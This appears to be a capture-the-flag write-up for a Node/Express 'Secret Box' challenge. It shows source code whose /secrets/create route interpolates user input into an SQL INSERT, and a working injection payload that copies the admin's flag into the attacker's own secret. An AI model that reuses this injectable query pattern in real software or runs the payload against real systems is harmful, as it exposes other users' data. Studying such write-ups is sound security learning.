Skip to content

Secret Box

Files Provided

source
├── app
│   ├── Dockerfile
│   └── src
│       ├── db.js
│       ├── handler.js
│       ├── server.js
│       └── views
│           ├── create_secret.ejs
│           ├── index.ejs
│           ├── login.ejs
│           ├── my_secrets.ejs
│           └── signup.ejs
├── db
│   ├── Dockerfile
│   └── initdb.sql
└── docker-compose.yml

server.js:

const express = require('express');
const app = express();
const fs = require('fs');
const path = require('path');
const PORT = process.env.PORT || 80;

const { db, initdb } = require('./db');
const authMiddleware = require('./handler');


// Parse JSON bodies
app.use(express.json());
app.use(express.urlencoded({ extended: true }));


// Set up EJS as the view engine
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));


// GET index page
app.get('/', authMiddleware, async (req, res) => {
    const userId = req.userId;

    if (userId){
        // logged in
        const query = await db.raw(
            `SELECT * FROM secrets WHERE owner_id = ?`,
            [userId]
        );

        return res.render('my_secrets', {secrets: query.rows});
    }
    else {
        // if not yet login
        return res.render('index', {message: null, error: null});
    }
});

// GET login page
app.get('/login', (req, res) => {
    return res.render('login', {message: null, error: null});
});

// GET signup page
app.get('/signup', (req, res) => {
    return res.render('signup', {message: null, error: null});
});

// GET create new secret page
app.get('/secrets/create', authMiddleware, (req, res) => {
    return res.render('create_secret');
});

// POST login
app.post('/login', async (req, res) => {
    const { username, password} = req.body;

    const userResult = await db.raw(
        `SELECT * FROM users WHERE username = ? AND password = ? LIMIT 1`, 
        [username, password]
    );

    // check user
    const user = userResult.rows[0];
    if(!user){
        return res.render('login', {message: null, error: 'User Not Found or The password is wrong'});
    }


    // check token
    const tokenQuery = await db.raw(
        `SELECT id FROM tokens WHERE user_id = ? AND expired_at > NOW()`,
        [user.id]
    );

    let token = tokenQuery.rows[0]?.id;
    if(!token){
        // no valid token: create one
        const createTokenQuery = await db.raw(
            `INSERT INTO tokens(user_id) VALUES (?) RETURNING id`,
            [user.id]
        );

        token = createTokenQuery.rows[0].id;
    }

    res.cookie('auth_token', token);
    return res.redirect('/');
});

// POST signup
app.post('/signup', async (req, res) => {
    const { username, password} = req.body;


    const userResult = await db.raw(
        `SELECT * FROM users WHERE username = ? LIMIT 1`, 
        [username]
    );

    if (userResult.rows.length >= 1){
        // user exist
        return res.render('signup', {message: null, error: 'Username already exists'});
    }

    const createUserQuery = await db.raw(
        `INSERT INTO users(username, password) VALUES (?, ?)`, 
        [username, password]
    );

    // render to login page: create user only, not logging in automatically
    return res.render('login', {message: 'Create User Successful', error: null});
});


app.post('/logout', async (req, res) => {
    res.clearCookie('auth_token');
    return res.redirect('/');
});

app.post('/secrets/create', authMiddleware, async (req, res) => {
    const userId = req.userId;
    if (!userId){
        // if user didn't login, redirect to index page
        res.clearCookie('auth_token');
        return res.redirect('/');
    }

    const content = req.body.content;
    const query = await db.raw(
        `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')` 
    );

    return res.redirect('/');
});

(async () => {
    // Ensure DB is ready before server runs
    await initdb();

    app.listen(PORT, ()=> {
        console.log(`Server running on port ${PORT}`)
    });
})();

db.js:

const path = require('path');
require('dotenv').config({ path: path.join(__dirname, '.env') });

const knex = require('knex');

const db = knex({
    client: 'pg',
    connection: {
        host: process.env.DB_HOST,
        port: process.env.DB_PORT,
        user: process.env.DB_USER,
        password: process.env.DB_PASSWORD,
        database: process.env.DB_NAME,
    },
    pool: {min: 0, max: 5},
});


async function initdb() {
  try {
    console.log("Testing DB connection...");
    await db.raw('SELECT 1');
    console.log('Database connection successful');

    await db('users')
      .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
      .update({ password: process.env.USERPASSWORD });

    await db('secrets')
      .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
      .update({ content: process.env.FLAG });

    console.log("Real flag and password updated");
  } catch (error) {
    console.error('Database connection failed:', error.message);
    process.exit(1);
  }
}

module.exports = { db, initdb };

Approach

The only endpoint vulnerable to SQLi is /secrets/create:

const query = await db.raw(
        `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')` 
    );

We can set content to be content from admin's secret. We have the owner_id:

await db('users')
    .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
    .update({ password: process.env.USERPASSWORD });

await db('secrets')
    .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
    .update({ content: process.env.FLAG });

Final working payload in content text box:

'||(SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1)||'

which results in the SQL query:

INSERT INTO secrets(owner_id, content)
VALUES ('${userId}', ''||(SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1)||'')